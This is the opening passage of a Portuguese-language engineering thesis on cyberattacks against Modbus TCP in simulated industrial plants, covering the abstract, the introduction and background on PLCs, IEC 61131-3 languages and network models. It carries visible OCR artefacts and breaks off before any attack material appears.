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Resumo

Abrao Alvarez, Rafael, Analise do comportamento de plantas industriais
mediante a inserc¢ao de ciberataques ao protocolo de rede Modbus TCP.
Trabalho de Conclusdo de Curso (Graduagao em Engenharia Elétrica). Centro de
Ciéncias Exatas e de Tecnologia, Universidade Federal de Sao Carlos. 154 p. Sao
Carlos, 2026.

A utilizagdo de Controladores Légicos Programaveis (CLPs) e redes de comuni-
cacao industrial é essencial em processos automatizados para garantir eficiéncia e
monitoramento. Contudo, a integragao em larga escala de redes baseadas em Real
Time Ethernet introduz vulnerabilidades, como susceptibilidade a interferéncias
e ataques cibernéticos. Este trabalho propoe analisar o comportamento de uma
rede industrial simulada frente a ataques cibernéticos. O protocolo de comunica-
¢ao escolhido é o Modbus TCP, amplamente utilizado em ambientes industriais, o
qual conecta uma planta industrial modelada no Factory 1/O a um CLP progra-
mado em ladder via CODESYS. Utilizando o Wireshark para captura do trafego
de rede e a biblioteca Scapy do Python para injecao de ataques, busca-se iden-
tificar impactos operacionais e fragilidades presentes no protocolo. A simulagao
revelou falhas criticas, como alteragoes nao autorizadas em dados e comprometi-
mento da comunicacao, assim como o mau funcionamento da planta, evidenciando
a falta de seguranca e formas de verificacao de veracidade de pacotes por parte do
protocolo Modbus TCP. Os resultados visam reforcar a necessidade de implemen-
tar medidas robustas de seguranca em redes industriais e incentivar a migragao
para protocolos atualizados, alinhados as demandas de ciberseguranca da industria

contemporanea.

Palavras-Chave: 1. Automacao industrial 2. Ciberataques 3. Modbus TCP



Abstract

Abrao Alvarez, Rafael, Behavior analysis of industrial plants subjected to
cyberattacks on the Modbus TCP network. Final year thesis (Bachelor
degree in Electrical Engineering). Exact and Technology Sciences Center, Federal
University of Sao Carlos. 154 p. Sao Carlos, 2026.

The use of Programmable Logic Controllers (PLCs) and industrial communication
networks is essential in automated processes to ensure efficiency and monitoring.
However, large-scale integration of Real Time Ethernet based networks introduces
vulnerabilities, such as susceptibility to interference and cyberattacks. This work
proposes to analyze the behavior of a simulated industrial network under cyber-
attack conditions. The chosen communication protocol is Modbus TCP, a widely
used protocol in industrial environments, which connects an industrial plant mod-
eled in Factory I/O to a PLC programmed in ladder using CODESYS. Using
Wireshark to capture network traffic and Python’s Scapy library to inject attacks,
the objective is to identify operational impacts and weaknesses inherent in the
protocol. The simulation revealed critical failures, such as unauthorized changes
to data and compromised communication, as well as the malfunctioning of the
industrial plant, highlighting the lack of security and the absence of mechanisms
to verify the authenticity of packets in the Modbus TCP protocol. The results aim
to reinforce the need for robust security measures in industrial networks and to en-
courage migration to updated protocols aligned with contemporary cybersecurity

demands.

Keywords: 1. Industrial automation. 2. Cyberattack 3. Modbus TCP
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1 Introducao

A atividade industrial, apesar de ser frequentemente associada a grandes linhas
de producao, automacao e maquinarios coordenados, possui raizes muito mais an-
tigas. Desde os primordios dos primeiros seres humanos até os dias atuais, a hu-
manidade desenvolve atividades industriais em diferentes formas, indo do trabalho
artesanal e manufatureiro até os complexos sistemas produtivos contemporaneos
[1].

Contudo, a concepgao moderna de industria tem origem na Revolugao Indus-
trial. Em meados do século XVIII, o ambiente de manufatura voltado para mer-
cados locais e determinados deu lugar a maquinofatura. Esta é caracterizada pelo
uso de maquinas operadas pelo homem, producao em larga escala e direcionamento
para um mercado mais amplo e anénimo, elevando significativamente os niveis de
produtividade [2].

Com o rapido crescimento populacional e o avanco do consumo, a industria
expandiu-se e evoluiu em paralelo, passando por diferentes fases tecnolégicas: In-
dustria 1.0, marcada pela mecanizacao e energia a vapor; Industria 2.0, com ele-
trificacao e produgao em massa; Industria 3.0, com automagao e controle compu-
tacional; e Industria 4.0, caracterizada pela integragao digital, Internet das Coisas
(IoT) e sistemas ciberfisicos. Atualmente, discute-se também o conceito de In-
dustria 5.0, que enfatiza a colaboracao homem-maquina e a personalizacao da
produgao [3]. A Figura 1 ilustra essa evolugao, mostrando como o setor produtivo
adaptou-se as mudangas tecnologicas ao longo do tempo para aumentar eficiéncia
e produtividade.

A seguir, serd apresentada a contextualizagdo dos principais temas essenciais
para a compreensao deste trabalho. Na Secao 1.1, é discutida uma introducao
geral ao conceito de automacao industrial e a sua importancia nos dias atuais. Em
seguida, na Secao 1.1.1, aborda-se o tema das redes de comunicagao industrial,
apresentando uma contextualizacao geral do assunto e sua relagao com a auto-
macao industrial e com o escopo deste trabalho. Por fim, a Secao 1.1.2 trata da

seguranca e das vulnerabilidades em redes de comunicagao industrial, destacando



Capitulo 1. Introdugdo 18

Figura 1 — Evolucao da industria

1* Rev. 2*Rev. 3* Rev. 4*Rev.
Mecanizacao Eletricidade Automacao Conectividade
(LTI EEIIEIET L) ‘
[ Y
AL o Sy

+ Maquinaa « Eletricidade; | |« Energia « Internet of
vapor; = Indastria do nuclear; Things (IoT);
« Tear mecanico. petroleo; « Avangos da « Cyber Physical
« Produgio em : eletronica; System (CPS);
| massa. + Novas + Smart Factory;
| | tecnologias; « Industria 4.0;
| |+ Sistemas CAD, « Logistica 4.0.
CAM.

Fonte: Adaptado de [4]

a dualidade entre os avancos tecnologicos e o aumento da exposi¢do a ataques

cibernéticos em sistemas industriais.

1.1 Automacao industrial e CLPs

A automacao industrial esta intimamente ligada aos sistemas de controle, que
operam em loops de realimentacao (feedback) para medir varidveis, compara-las
a valores de referéncia e aplicar agOes corretivas automaticamente [5]. Embora
essencial na industria moderna, o conceito de controle por feedback é antigo, com
exemplos como o relogio de Ctesibio, de 250 a.C., que regulava o tempo por meio
de fluxo de dgua [5].

Inicialmente, os sistemas de controle eram mecanicos e, mais tarde, baseados
em relés eletromecanicos. Apesar de eficazes, estes apresentavam limitacoes de
flexibilidade e manutencao. O avanco da eletronica e da microinformatica levou
ao surgimento dos Controladores Légicos Programéveis (CLPs), que centralizaram
fungoes de controle em plataformas programaveis, oferecendo maior versatilidade
e comunicagao com redes industriais [3].

Criados no fim da década de 1960, motivados por demandas da industria au-
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tomotiva, os CLPs foram projetados para serem reprogramaveis, robustos e confi-
aveis. O primeiro modelo, o Modicon 084, lancado em 1969, marcou um ponto de
virada na automagao [6]. Sua programagao, com destaque para o Ladder Diagram,
facilitou a adogao por técnicos habituados a 16gica de relés [5].

Hoje, os CLPs modernos integram sistemas complexos com sensores, atua-
dores, IHMs e supervisérios, além de possibilitar troca de dados em tempo real,
alinhando-se aos principios da Industria 4.0 [3]. Representam, assim, um elo central
na evolucao da automacao, combinando robustez com flexibilidade e conectividade

para atender as demandas produtivas atuais.

1.1.1 Redes de Comunicacao Industrial

As redes de comunicacao industrial s@o a espinha dorsal da integracao e coor-
denagao de processos automatizados, permitindo a troca de dados entre controla-
dores, sensores, atuadores e sistemas de supervisao. Sua adocao foi impulsionada
pela necessidade de maior flexibilidade, monitoramento remoto e interoperabili-
dade entre dispositivos de diferentes fabricantes [7].

Antes da implementacgao de redes dedicadas, a comunicagdo em ambientes in-
dustriais era realizada por meio de cabeamento ponto a ponto, resultando em
sistemas com grande complexidade fisica, alto custo e baixa escalabilidade. O
desenvolvimento de protocolos especificos para o ambiente fabril permitiu reduzir
a flagdo, aumentar a confiabilidade e viabilizar a transmissao de informagoes em
tempo real [3].

As redes industriais diferenciam-se das redes de T1 convencionais por possuirem
requisitos especificos, como tolerancia a ruidos eletromagnéticos, baixa laténcia,
sincronizacao precisa e alta disponibilidade. Protocolos como Modbus, Profibus,
DeviceNet e Ethernet/IP surgiram para atender a essas demandas, cada um com
caracteristicas préprias quanto a velocidade, topologia e modelo de comunicagao
[7].

No contexto da Industria 4.0, as redes industriais evoluem para suportar tec-
nologias como Internet das Coisas (IoT) e sistemas ciberfisicos, integrando dados
de campo com camadas de supervisao e analise. Essa evolugao possibilita a coleta

e o processamento de grandes volumes de dados para otimizar a producao, realizar
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manutengdo preditiva e aumentar a seguranca operacional [8].

A conectividade e interoperabilidade proporcionadas pelas redes industriais
sdo essenciais para a operacao eficiente e segura de plantas automatizadas, sendo
um elemento central na integracdo entre sistemas de controle e estratégias de

ciberseguranga [8].

1.1.2 Seguranca e vulnerabilidades

O crescimento dos avancos tecnologicos, aliado a evolugdo da conectividade
de redes industriais, trouxe avancos significativos em integracao de sistemas, su-
pervisao e monitoramento, porém ampliou a possibilidade de ataques a sistemas
integrados via rede. Ambientes que antes eram isolados fisicamente agora se en-
contram cada vez mais integrados a redes corporativas e até mesmo a internet,
tornando-se alvos potenciais para ameagas cibernéticas [5].

Os sistemas de controle industrial (ICS), que englobam CLPs, Interfaces Ho-
mem Maquina (IHMs) e sistemas de Supervisdo Controle e Aquisi¢do de Dadods
(SCADA), foram historicamente projetados para operar com alta disponibilidade e
confiabilidade, mas sem requisitos rigorosos de seguranca digital. Isso resultou em
protocolos de comunicacao, como Modbus, Profibus e DNP3, que ndo implemen-
tam autenticacao, criptografia ou verificacdo de integridade nativas, deixando-os
suscetiveis a interceptagdo e manipulagao de dados [7].

Casos notérios como o ataque ataque ocorrido na planta atomica de Natanz,
no Ira, utilizando, provavelmente, o software Stuxnet Worm, no comecgo dos anos
2000, demonstram que ameagas direcionadas a ICS podem explorar falhas espe-
cificas de hardware e software para modificar o comportamento de controladores,
mantendo operagoes aparentemente normais na camada supervisoria enquanto sa-
botam processos em campo [5, 9].

No contexto deste trabalho, o protocolo Modbus TCP é especialmente rele-
vante por ser amplamente utilizado e, ao mesmo tempo, carecer de mecanismos de
protegao contra ataques de interceptagao (sniffing), modificagdo de pacotes (man-
in-the-middle) e injecdo de comandos maliciosos, como serd comprovado com o
desenvolver do trabalho. Essas fraquezas serao exploradas e estudadas, propondo

entender melhor como a falta de maior seguranca facilita que os ataques sejam
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inseridos na rede e reforcar a necessidade de continua evolucao pelo lado dos fa-
bricantes para garantir seguranca e eficiéncia nos ICS’s.

Portanto, compreender as vulnerabilidades e ameacas associadas a redes indus-
triais é essencial para desenvolver estratégias eficazes de protecao, especialmente
diante do cenario de transformacao digital e aumento da interconectividade em

plantas industriais.

1.2 Objetivos

Tendo em mente a contextualizacao das redes de comunicacao industrial e as
preocupagoes relacionadas a seguranca, este trabalho propoe estudar e analisar
o comportamento do protocolo Modbus TCP e de plantas industriais simuladas
frente a insercao de diferentes ciberataques na rede de comunicacao.

Para isso, serao realizadas simulagoes de ambientes industriais em 3D utilizando
o software Factory 1/O, bem como a programacao desses ambientes por meio de um
CLP simulado, utilizando o CODESYS, aliados a ferramentas de analise de rede.
Além disso, bibliotecas em Python serdo empregadas para a criacao de pacotes de
ataque, os quais serdo inseridos na comunicac¢ao entre o software responsavel pela
simulagao do CLP e aquele encarregado de simular a planta industrial.

Dessa forma, torna-se necessario nao apenas o conhecimento sobre redes de
comunicagao industrial, mas também sobre programacao de CLPs, a fim de possi-
bilitar a construcao das cenas onde os testes serdo realizados. Da mesma maneira,
¢ fundamental compreender a estrutura dos pacotes de comunicagao e sua progra-
magcao, de modo a viabilizar a insercao dos ataques na rede.

Portanto, os objetivos deste trabalho podem ser divididos em duas classes:

objetivo geral e objetivos especificos.

e Objetivo geral: Estudar e analisar o comportamento do protocolo de rede
Modbus TCP frente a insercao de ciberataques em uma rede industrial si-

mulada.
» Objetivos especificos:

— Realizar um estudo aprofundado do protocolo Modbus TCP;
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— Compreender a estrutura de mensagens de protocolos de comunicagao

em redes industriais;

— Programar diferentes plantas industriais simuladas e suas logicas de

controle em linguagem Ladder, utilizando o CODESY'S;

— Estruturar codigos para analise de rede, captura de pacotes, construgao

de pacotes de ataque e insercao desses ataques na rede;

— Analisar a resposta das plantas industriais e da rede de comunicacao

frente a insercao dos ciberataques.

1.3 Organizacao do Trabalho

Na Secao 2, sera apresentada a base tedrica necessaria para a compreensao
deste trabalho. Serdao abordados temas como a programacao de Controladores
Légicos Programaveis (CLPs), redes e protocolos de comunicacao industriais, com
énfase no protocolo Modbus e suas variantes, detalhados na Subsecao 2.2.3. Por
fim, sera introduzida a fundamentacao tedrica relacionada a ciberataques em redes
de comunicacao industrial.

A Secao 3 apresenta o desenvolvimento e a metodologia adotada no trabalho.
Inicialmente, é realizada a contextualizacdo das ferramentas utilizadas, conforme
descrito na Subsecao 3.1. Em seguida, sao apresentados o desenvolvimento das
plantas industriais e sua programacao em linguagem Ladder, na Subsegao 3.2. Por
fim, descreve-se a implementacao dos cddigos de ataque, detalhada na Subsecao
3.4.

Na Secgao 4, sao apresentados os resultados dos ensaios de ataques realizados
nas duas plantas industriais. Este capitulo inclui graficos, capturas de pacotes de
rede e a analise do comportamento das plantas frente aos ataques, complementados
por imagens e videos disponibilizados na plataforma YouTube.

Por fim, a Secao 5 encerra o trabalho, apresentando uma sintese geral do que

foi desenvolvido, juntamente com a analise dos principais resultados obtidos.
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2 Fundamentacao Teérica

Nesta secao, é construida a base conceitual necessaria para a compreensao do
desenvolvimento deste trabalho. A partir de sua leitura, espera-se que o leitor com-
preenda conceitos fundamentais, como redes de comunicacao industrial, protocolos
de comunicacao industrial, CLPs e ciberataques aplicados a sistemas industriais.

Dessa forma, torna-se imprescindivel o entendimento desses conceitos para a
correta interpretacao das etapas seguintes, bem como para a analise e compre-
ensao do desenvolvimento e dos resultados dos ataques apresentados ao longo do
trabalho.

2.1 Controladores Loégicos Programaveis

Como citado anteriormente, os CLPs surgem em meados do século XX, com a
finalidade de atender as demandas de uma industria automotiva em rapido cres-
cimento. Esses equipamentos vieram para substituir sistemas baseados em relés,
oferecendo uma solugao em estado sélido, flexivel, reprogramavel e capaz de su-
portar ambientes industriais agressivos. Assim, nasce o CLP, um computador
industrial robusto que, por meio da capacidade de armazenamento de instrugoes,
implementagao de funcoes, operacoes logicas e aritméticas, além de comunicagao
em rede, é capaz de controlar processos de forma inigualavel [10].

Controladores Logicos Programéaveis podem ser comparados a microcontrola-
dores voltados para o ambiente industrial. Seu ciclo de funcionamento pode ser
resumido em trés etapas, reiniciadas a cada periodo de tempo discreto T, o qual
varia de acordo com o tipo e a marca do CLP. A primeira etapa é chamada de
varredura (scan), na qual o controlador 1é e armazena os dados provenientes das
interfaces de entrada em um dado instante de tempo t. Em seguida ocorre a exe-
cucao do programa, onde sao aplicadas fungoes, operagoes logicas e aritméticas,
consultando as variaveis armazenadas na memoria de entrada. Apds a execucao, as
variaveis de saida sao atualizadas e registradas na memoria de saida, sendo entao

enviadas as interfaces de saida [10, 11]. Um ciclo de varredura completo pode ser
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observado na Figura 2.

Figura 2 — Ciclo de varredura completo

Os estados das
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DESLIGANDO o dispositivo.

Fonte: [11]

As interfaces de entrada e saida tém papel fundamental no funcionamento
desse computador industrial. E por meio delas que o CLP traduz valores de sinais
elétricos para linguagem digital e vice-versa. Os moddulos podem ser divididos
em trés tipos: digitais, analégicos e especiais. Nos modulos digitais, as entradas e
saidas assumem apenas dois estados: ligado (On) ou desligado (Off). Dentro dessa
categoria, ainda existem os modelos PNP e NPN, que se diferenciam pelo modo
de acionamento. O médulo PNP fornece tensao positiva ao dispositivo quando
ativado, ou seja, a carga é acionada pelo fornecimento de corrente proveniente da
saida. J& no NPN ocorre o inverso: a saida conecta o dispositivo diretamente
ao potencial negativo (terra) quando ativada, sendo a carga alimentada de forma
oposta. Essa disting¢ao é importante pois influencia na forma de ligacao de sensores
e atuadores, evitando incompatibilidades no circuito [10].

Além disso, existem as entradas e saidas analdgicas, responsaveis por lidar com
sinais que variam de forma continua, como corrente e tensao em faixas especificas
(por exemplo, 4-20 mA ou 0-10 V). Esses médulos permitem ao CLP interpretar

grandezas fisicas como temperatura, pressao, nivel ou velocidade, e também atuar
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de forma proporcional sobre variadores, valvulas ou outros elementos de controle
[10].

Por fim, ha os médulos especiais, que expandem as funcionalidades do CLP em
aplicagoes especificas. Entre eles estdo mdédulos de comunicacdo (para protoco-
los industriais como Modbus, Profibus ou Ethernet/IP), médulos especificos para
medigao de temperatura (RTD), controle PID dedicado, entre outros. Tais médu-
los tornam o CLP ainda mais versatil, adaptando-se a diferentes necessidades de

automagao e integragdo em sistemas industriais complexos [10].

2.1.1 Linguagens de programacao

Com a ascensao do uso desses controladores, muitas marcas fornecedoras de
equipamentos elétricos viram a oportunidade de entrar nesse mercado, fornecendo
esses equipamentos a industria. Entretanto, cada uma dessas marcas tinha suas
peculiaridades, especificacbes e modo de funcionamento, diferindo bastante umas
das outras. Sendo assim, os operadores tinham que ter um vasto conhecimento em
diferentes fornecedoras, exigindo uma busca incessante de conhecimento de cada
uma dessas empresas [10].

Foi entao, em 1979, que a IEC (International Electrotechnical Comission), or-
ganizou um estudo a fim de avaliar o dispositivo como um todo, desde o projeto de
hardware, software, instalacao, comunicacao, entre outros aspectos caracteristicos.
Como resultado desse estudo, surge a norma IEC 61131-3 que introduz e define
5 linguagens de programacao padrao, divididas em linguagens textuais e graficas,
para todo tipo de aplicacao industrial. A padronizacao vem como forma de me-
lhorar a gestao do conhecimento, a qualidade na programacao e a versatilidade na

escolha da linguagem para cada tipo de aplicacdo ou parte da planta [10, 11].

2.1.1.1 Linguagens textuais

As linguagens textuais estabelecidas pela norma IEC 61131-3 sdao: Texto Es-
truturado (Structured Text — ST) e Lista de Instrugoes (Instruction List — IL).
Ambas sao linguagens de programagao escritas, assim como C++ ou Assembly.
Contudo, diferem bastante em termos de facilidade de interpretacdo para o ser

humano e eficiéncia na execugao pelo CLP [10].
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O Texto Estruturado (ST) se aproxima de linguagens mais comuns como C++
ou Python, o que torna sua interpretacao mais direta e intuitiva para o progra-
mador. E muito usado na criacio de blocos funcionais e funcoes especificas. Sua
escrita se baseia em operadores e operandos, geralmente expressoes logicas ou
aritméticas, que retornam valores ao serem executadas. A Tabela 1 mostra os
principais operadores utilizados nesse tipo de cédigo-fonte [10]. J& o Cédigo 2.1,

mostra um pequeno exemplo de aplicacao.

Tabela 1 — Operadores e suas aplicagoes

Operador | Aplicagao Descricao Classificagao
() Expressdo com pa- | Parénteses sdo usados para alterar a se- Maior
rénteses. quéncia de execugdo da operagao. '

Fungdio(...) Exp')’resséio, literal, | Funcao de pliocessamento é usada para

variavel, endereco. executar funcoes.

~ A negacao é uma inversao de sinal do valor
- Negacao.
do operando.

C 1 to boole- - .
Not a;);np CIENto bOOIE™ | 1y versio de bits dos operandos.
ok Exponenciacio, Na exp’onenciagé\o o) VaAlor.do primeiro ope-

rando é elevado a poténcia do segundo.

* Multiplicagao.
/ Divisao.
Mod Ope]ia?l()}‘ de moédulo

da divisdo.
+ Soma.
- Subtragao.
< 2 <5 Comparagao.
>=
= Tgual.
<> Desigualdade.
And, & E booleano.

Ou exclusivo boole-
Xor

ano.
Or Ou booleano.

Fonte: Adaptado de [10]

1 IF %I0.0 AND %I0.1 THEN

2 9%0Q0.0 := TRUE; // Ativa a saida se ambas as entradas forem
verdadeiras

3 ELSE

%Q0.0 := FALSE; // Caso contrario, mantem a saida desligada

W~
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END IF;

Cédigo 2.1 — Exemplo de cédigo em Texto Estruturado

Ja a Lista de Instrugoes (IL) difere bastante do Texto Estruturado. Apesar
de também ser uma linguagem escrita, sua légica é mais préoxima das linguagens
de baixo nivel, como Assembly, ou seja, estd mais proxima do que a maquina de
fato entende. Nesse formato, cada linha do programa é uma instrucao tnica, que
pode ser, por exemplo, carregar um valor, executar uma operacao logica, comparar
ou armazenar em memoria. Isso torna o cédigo mais dificil de ler e compreender
por humanos, especialmente em processos maiores, mas traz eficiéncia na execugao
pelo CLP, j& que o cédigo é traduzido de forma mais direta para a maquina [10].

O Codigo 2.2 mostra um exemplo simples de como a Lista de Instrugoes pode

ser escrita:

1 LD %10.0 // Carrega valor da entrada I0.0
2 AND %10 .1 // Realiza operacao logica AND com a entrada I0.1
3 ST %Q0.0 // Armazena o resultado na saida Q0.0

Codigo 2.2 — Exemplo de cédigo em Lista de Instrucoes

2.1.1.2 Linguagens graficas

A norma IEC 61131-3 padronizou trés tipos de linguagens gréaficas: Lingua-
gem Ladder (LD), Diagrama de Blocos Funcionais (FBD) e Sequencial Grafico
de Fungao (SFC). Entre elas, a mais utilizada ¢ a linguagem Ladder, que tem
maior aceitagao entre programadores por sua semelhanca com diagramas de co-
mandos elétricos e por estar presente em praticamente todos os CLPs de diferentes
fabricantes [10].

A linguagem Ladder utiliza um conjunto de simbolos para a construcao das
légicas programadas. Como mencionado anteriormente, sua semelhanga com os
diagramas de comandos elétricos ¢ indiscutivel, normalmente utilizando simbolos
como contatos normalmente abertos ou fechados e bobinas de saida, em paralelo
direto com relés e bobinas de circuitos elétricos. Por meio do arranjo desses simbo-
los em “redes” na forma de escada, o programador consegue desenvolver solugoes

para processos de diferentes caracteristicas [11].
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Os trés simbolos base dessa linguagem, também chamada de simbologia de con-
tatos, sao: verificador de fechado (XIC), verificador de aberto (XIO) e energizacao
de saida (OTE). Cada instrugao esté associada a um bit na memoéria do CLP.
Por essa razao, Ladder é comumente utilizada em processos discretos, nos quais é
necessario mudar o estado de um atuador entre ligado e desligado [11]. A Figura
3 mostra uma comparagao entre LD e IL para uma mesma logica de processo,
inicialmente representada em um diagrama de comandos elétricos. Nela é possivel
observar os verificadores XIC, XIO e OTE, representados respectivamente pelos

contatos A, D e pela bobina Y.

Figura 3 — Comparagao entre Ladder e lista de instrugoes

PB1

(=i £l soL (PB1) (CR1) (CR2)  soL START | PB1
AND CR1

tas i <
= 2 5 D Y OR LS1

LS1
+——o o —— 1F AND NOT | CR2
It out soL
C
(LS1)
(a) Fiagao ou cabeamento do circuito de controle a relé (b) Programa equivalente em diagrama ladder (c) Programa equivalente

em lista de instrugao (IL)

Fonte: [11]

O Diagrama de Blocos Funcionais (FBD) trabalha com a ideia de blocos ligados
por linhas que representam o fluxo do sinal do programa. Um bloco ¢ definido
como qualquer estrutura que possua entradas, um processamento interno e saidas
resultantes dessas operacoes. Dentro dessa linguagem existem dois tipos de blocos
fundamentais: Fungoes e Blocos Funcionais [10, 11] A Figura 4 apresenta um
exemplo de programacao via FBD.

Apesar de semelhantes, funcoes e blocos funcionais possuem uma diferenca
importante. Enquanto as fung¢oes nao armazenam dados apds sua execucio, apenas
retornando a saida ao final, os blocos funcionais possuem memoria interna e podem
armazenar estados de variaveis locais. Além disso, podem ser instanciados diversas
vezes com parametros diferentes, como acontece com blocos PID, que armazenam
valores de erro e podem ser configurados com diferentes ganhos K, T; e T, [10].

Por fim, o Sequencial Gréfico de Func¢ao (SFC) é uma linguagem grafica ba-

seada em uma sequéncia de etapas. Sua estrutura é composta por passos, que
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Figura 4 — Programacao FBD
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Fonte: [11]

representam estados do processo, blocos de agao, que descrevem o que deve ser
executado em cada estado, e transicoes, que definem as condi¢des para passar de
um bloco ao outro [10].

Essa linguagem tem um modelo de construgao de cima para baixo, com o fluxo
descendo pelas transi¢oes e blocos e retornando ao inicio apés o fechamento do
ciclo de controle. A Figura 5 apresenta um exemplo basico de construgao de um
programa em SFC.

Além disso, o SFC pode ser utilizado ainda antes da programagao propriamente
dita, como ferramenta de modelagem e planejamento do processo, devido a sua
facilidade de interpretacao. Assim, ele auxilia na visualizacdo global do sistema e
na posterior implementagao em outras linguagens [10].

No fim das contas, cada linguagem possui suas préprias nuances, com pontos
fortes e limitagbes. Entretanto, ndo se deve pensar nelas de forma isolada, ja que
muitas vezes uma complementa a outra. E importante destacar que, na pratica, a
maioria dos programas de automacao em CLP é construida com uma mistura de
linguagens — principalmente Texto Estruturado, Ladder e FBD. Para processos
discretos ¢ comum a predominancia do Ladder. Ja para situagoes que exigem cal-

culos complexos ou manipulagao de variaveis analégicas, FBD e ST costumam ser



Capitulo 2. Fundamentagdo Tedrica 30

Figura 5 — Exemplo de SFC
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Fonte: [10]

usados em conjunto. J4 em processos maiores, onde as condi¢oes nao se limitam
a apenas um caso, as situacoes existem, os trés tipo podem ser utilizados em con-
junto. Essa integracao permite que cada parte do processo seja tratada da melhor

forma possivel, garantindo maior clareza, flexibilidade e eficiéncia na programacao
10, 11].

2.2 Protocolos de comunicacao

Sistemas de controle distribuido (DCS) sdo uma forma de construgao do sistema
de controle de uma planta. Eles trazem a ideia de descentralizacao, com unidades
de controle instaladas em diferentes pontos do processo. Esse modelo foi idealizado
para aplicagoes em processos industriais de grande porte, em que a area ocupada
é extensa e a quantidade de dispositivos de controle é elevada [7].

Com o crescimento do niimero de dispositivos em campo, tornou-se necessario
estabelecer padroes de comunicagao que garantissem a troca de informacgoes de
maneira eficiente e confiavel entre equipamentos de diferentes fabricantes. Dessa

necessidade surgiram os protocolos e redes de comunicagao industrial, responsaveis
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por definir como os dados circulam entre dispositivos, controladores e interfaces,
assegurando menor tempo de transmissao, maior confiabilidade, seguranga e inte-
gridade das informagoes [7].

De forma geral, as redes de comunicagao industrial podem ser divididas em
trés niveis principais: field level (nivel de campo), control level (nivel de controle)
e information level (nivel de informagao), como mostrado na Figura 6. Cada nivel

possui um papel essencial dentro da hierarquia da automacao [7].

Figura 6 — Hierarquia dos niveis de redes de comunicacao industrial
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Fonte: Adaptado de [10]

O nivel de campo representa a base da piramide, onde estao sensores, atuadores,
robos e outros dispositivos diretamente ligados ao processo produtivo. A comu-
nicagao nesse nivel tem como funcao transferir dados brutos do processo para os

niveis superiores de controle. Tradicionalmente, essa troca podia ocorrer de forma
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discreta (sinais bindrios de 0 ou 1) ou analégica (como sinais de 4-20 mA, 0-10 V
ou RTDs). Entretanto, com o aumento da complexidade dos sistemas, surgiram
os chamados protocolos de campo (fieldbuses), projetados para possibilitar comu-
nicagao mais eficiente, especialmente no caso de sensores e atuadores inteligentes.
Alguns exemplos de fieldbuses sao Profibus e Modbus RTU [7].

No nivel de controle, por sua vez, a comunicacao ocorre entre dispositivos de
rede, como CLPs, remotas de 1/O, inversores de frequéncia, gateways, computa-
dores industriais, IHMs e sistemas supervisorios. Esse nivel demanda protocolos
mais robustos, capazes de lidar nao apenas com dados de processo em tempo real,
mas também com a transferéncia de programas e pardmetros entre equipamentos.
E nesse patamar que aparecem protocolos como Profibus, Profinet, DeviceNet,
EtherNet /TP e Modbus TCP, garantindo interoperabilidade e sincronizagao entre
unidades produtivas [7].

Por fim, o nivel de informagado corresponde ao topo da piramide, voltado a
integracao entre o chao de fabrica e os sistemas corporativos. Aqui, a comunicagao
ocorre em redes de maior abrangéncia, utilizando WANs e, assim como no nivel
anterior, protocolos de Ethernet Industrial como os citados anteriormente. Isto
permite que dados de producgao alimentem sistemas de planejamento, ERPs e
analises estratégicas. Esse nivel é essencial para o conceito de Industria 4.0, pois
possibilita a convergéncia entre T e TA (Tecnologia da Informagao e Tecnologia
de Automagao), promovendo flexibilidade, rastreabilidade e eficiéncia na tomada

de decisoes [7].

2.2.1 Caracteristicas de rede de comunicacgao industrial

Em grandes redes industriais, nao ¢ viavel conectar todos os dispositivos com
apenas um cabo. Por isso, utilizam-se métodos e dispositivos adicionais para
tornar a rede mais eficiente, segura e confiavel [7, 12]. Entre esses dispositivos,

destacam-se:

o Repetidores: amplificam o sinal elétrico, permitindo que ele percorra maiores

distancias.
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» Roteadores ou switches: direcionam pacotes de dados para diferentes cami-

nhos da rede.

o Pontes: interligam duas partes distintas de uma rede, que podem ter ca-
racteristicas elétricas ou protocolos diferentes, permitindo a distribuicao de

informagoes.

» Gateways: semelhantes as pontes, mas asseguram a interoperabilidade entre

diferentes protocolos, viabilizando a comunicacao entre eles.

Dois dispositivos em uma rede sao conectados por meio de links, que repre-
sentam os caminhos de passagem de informacao. Existem dois tipos de conexao:
Point-to-Point e Multipoint. A primeira interliga dois dispositivos diretamente,
em um link dedicado exclusivamente a comunicacao entre eles. Ja em um link
multipoint, também chamado de Multidrop, varios dispositivos compartilham o

mesmo meio fisico. A Figura 7 ilustra essas duas formas de conexao [12].

Figura 7 — Tipos de conexoes entre dispositivos
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Fonte: Adaptado de [12].

As topologias de rede definem a forma como os dispositivos sao interligados

por meio dos links. Existem diversos tipos, incluindo topologias hibridas, nas
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quais a rede combina mais de um modelo estrutural [7, 12]. A Figura 8 mostra as

principais topologias.

Figura 8 — Topologias de rede
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Fonte: Adaptado de [7, 12].

A escolha da topologia depende de fatores como a quantidade de dispositivos, as
especificagoes da rede, o protocolo a ser utilizado e o custo de implementacao. Na
pratica, costuma-se optar por configuracoes hibridas, principalmente combinando
topologia em barramento com topologia em estrela, o que permite a criacao de

redes com milhares de dispositivos [7].

2.2.2 Modelo de camadas OSI e TCP/IP

Diferentemente da forma fisica como os dispositivos sao interconectados, o mo-
delo de camadas trata da organizagao e transmissao dos dados por meio dos proto-
colos. Esse modelo estrutura as mensagens em diferentes niveis, de forma hierar-
quica e empilhada [12]. Cada camada fornece um servigo a camada imediatamente

superior, ocultando seus detalhes internos. Assim, a camada superior utiliza o ser-
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vico oferecido sem precisar conhecer o funcionamento subjacente. Os elementos
que ocupam a mesma camada em dispositivos distintos sao chamados de peers.
Porém, a comunicagdo nao ocorre diretamente entre pares, mas atravessa toda a
pilha até chegar a camada mais baixa, onde os dados sao transmitidos ao meio
fisico [13].

Até a década de 1990, o modelo de referéncia mais utilizado era o OSI (Open
Systems Interconnection), proposto pela ISO. Composto por sete camadas bem de-
finidas, cada uma responsavel por fung¢oes especificas, o OSI teve grande relevancia
conceitual e metodoldgica. No entanto, perdeu espago para o modelo TCP/IP, que
se consolidou por estar diretamente associado a tecnologias ja amplamente utili-
zadas, como Ethernet, além de ter sido desenvolvido em conjunto com protocolos
préticos, facilitando sua aplicagao [13, 12].

Enquanto o modelo OSI organiza a comunicagao em sete camadas, o TCP/IP
se estrutura em apenas quatro. Isso nao significa que seja menos completo, mas
que agrupa fungoes de multiplas camadas do OSI em niveis mais abrangentes. Por
exemplo, as camadas de sessao e apresentacao do OSI sao incorporadas na camada
de aplicagdo do TCP/IP, enquanto as camadas de enlace e fisica ficam reunidas
na camada de acesso a rede [13, 12|. A Figura 9 apresenta uma comparagao entre

os dois modelos.

2.2.3 Modbus

Como mencionado anteriormente, os protocolos de comunicagao tém como base
os modelos de transmissao em camadas, como o OSI e o TCP/IP. O Modbus é um
